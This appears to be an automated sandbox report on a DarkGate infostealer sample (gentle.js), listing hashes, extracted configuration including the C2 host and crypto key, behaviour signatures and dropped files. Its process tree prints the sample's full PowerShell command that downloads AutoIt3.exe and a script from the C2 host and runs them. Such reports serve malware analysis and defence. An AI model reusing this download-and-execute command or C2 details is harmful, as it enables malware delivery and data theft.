darkgate | 4dce8991fb2942cb8443aba697311072aa25fc61b4b4186a54e7956c2bec6799

General

Target

gentle.js
Size

135KB
MD5

ffa38ff8c434945de11b621958170a10
SHA1

6429a10526d4224e5a9d5e4ab9f71cfa3a1bd460
SHA256

4dce8991fb2942cb8443aba697311072aa25fc61b4b4186a54e7956c2bec6799
SHA512

f4f5fcde08d4ab8d167071ba9eed55cb4d575251da66fcd8005a85970f26e07be31a6f65a42ff47ee238e498f66fef625c97eabe0c87eee3f18ae1d3f98d022a
SSDEEP

1536:BZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0c:0T9U7hgaX6eerjqlI2IO6Mzqfpu

Score

10^/10

darkgate user_871236672 stealer

Malware Config

Extracted

Family

darkgate

Botnet

user_871236672

C2

http://shsukadadyuikmmonk.com

Attributes

alternative_c2_port
8080
anti_analysis
true
anti_debug
true
anti_vm
true
c2_port
2351
check_disk
true
check_ram
true
check_xeon
true
crypter_au3
false
crypter_dll
false
crypter_rawstub
true
crypto_key
WccksaEfoXLLtV
internal_mutex
txtMut
minimum_disk
50
minimum_ram
6001
ping_interval
4
rootkit
true
startup_persistence
true
username
user_871236672

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 2 IoCs

flow	pid	Process
16	4440	powershell.exe
23	4440	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
4964	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4440	powershell.exe
4440	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4440	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4108 wrote to memory of 4440	4108	wscript.exe	87
PID 4108 wrote to memory of 4440	4108	wscript.exe	87
PID 4440 wrote to memory of 4964	4440	powershell.exe	94
PID 4440 wrote to memory of 4964	4440	powershell.exe	94
PID 4440 wrote to memory of 4964	4440	powershell.exe	94

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\gentle.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://shsukadadyuikmmonk.com:2351/msikrxeiths' -OutFile 'krxeiths.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'krxeiths.au3'"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4440
- - C:\tepp\AutoIt3.exe
    "C:\tepp\AutoIt3.exe" krxeiths.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:4964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ms2x3jt4.tjj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\tepp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\tepp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\tepp\krxeiths.au3

Filesize
495KB

MD5
1a145f64835ef788884984eaaabc41cf

SHA1
86adae24703e4cc02791f5473163d19af9ce5374

SHA256
e6cb5e76a2cc9b9b60f9f6cdde65478675d03684a1973b673e1663ded9195c4d

SHA512
97fe04c68eff006a9628d43d71c515d822a129f0930d581ee2d9a3fe5d1fcdde291871946a8df8233ee3614cf392c85a0fe371051cb06343b3e92368ee8354e3

Download Submit
memory/4440-22-0x0000022AF2110000-0x0000022AF2120000-memory.dmp

Filesize
64KB

Download
memory/4440-21-0x00007FFFB65C0000-0x00007FFFB7081000-memory.dmp

Filesize
10.8MB

Download
memory/4440-0-0x0000022AD9EE0000-0x0000022AD9F02000-memory.dmp

Filesize
136KB

Download
memory/4440-23-0x0000022AF2110000-0x0000022AF2120000-memory.dmp

Filesize
64KB

Download
memory/4440-11-0x0000022AF2110000-0x0000022AF2120000-memory.dmp

Filesize
64KB

Download
memory/4440-28-0x00007FFFB65C0000-0x00007FFFB7081000-memory.dmp

Filesize
10.8MB

Download
memory/4440-10-0x00007FFFB65C0000-0x00007FFFB7081000-memory.dmp

Filesize
10.8MB

Download
memory/4964-31-0x00000000012A0000-0x00000000016A0000-memory.dmp

Filesize
4.0MB

Download
memory/4964-32-0x00000000044E0000-0x0000000004675000-memory.dmp

Filesize
1.6MB

Download
memory/4964-33-0x00000000044E0000-0x0000000004675000-memory.dmp

Filesize
1.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads